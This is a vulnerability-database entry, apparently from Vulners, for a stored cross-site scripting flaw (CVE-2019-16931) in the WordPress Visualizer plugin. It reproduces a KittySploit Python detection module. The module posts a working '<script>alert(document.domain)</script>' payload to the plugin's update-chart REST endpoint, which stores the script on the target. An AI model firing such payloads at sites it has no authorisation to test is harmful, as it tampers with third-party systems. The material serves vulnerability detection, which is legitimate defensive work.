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WordPress Visualizer <3.3.1 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated stored XSS in WordPress Visualizer via /wp-json/visualizer/v1/update-chart.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2019-16931
3 Oct 201918:34
–cve
cvelist
Cvelist
CVE-2019-16931
3 Oct 201918:34
–cvelist
euvd
EUVD
EUVD-2019-7424
7 Oct 202500:30
–euvd
mend
Mend
CVE-2019-16931
3 Oct 201918:34
–mend
nuclei
Nuclei
WordPress Visualizer <3.3.1 - Cross-Site Scripting
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2019-16931
3 Oct 201919:15
–nvd
openvas
OpenVAS
WordPress Visualizer Plugin < 3.3.1 Multiple Vulnerabilities
2 Oct 201900:00
–openvas
osv
OSV
CVE-2019-16931
3 Oct 201919:15
–osv
prion
Prion
Cross site scripting
3 Oct 201919:15
–prion
ptsecurity
Positive Technologies
PT-2019-14877
3 Oct 201900:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Visualizer plugin before 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Visualizer <3.3.1 - Cross-Site Scripting Detection',
        'description': 'WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2019', 'wp-plugin', 'wordpress', 'wp', 'xss', 'unauth', 'wpscan', 'themeisle', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44',
            'https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf',
            'https://wpvulndb.com/vulnerabilities/9893',
            'https://nvd.nist.gov/vuln/detail/CVE-2019-16931',
            'https://wordpress.org/plugins/visualizer/#developers',
        ],
        'cve': 'CVE-2019-16931',
    }

    def run(self):
        path = '/wp-json/visualizer/v1/update-chart'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/json'}, data='{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('{"success":"Chart updated"}',)
        header_any = ('application/json',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='WordPress Visualizer <3.3.1 - Cross-Site Scripting detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.03342
3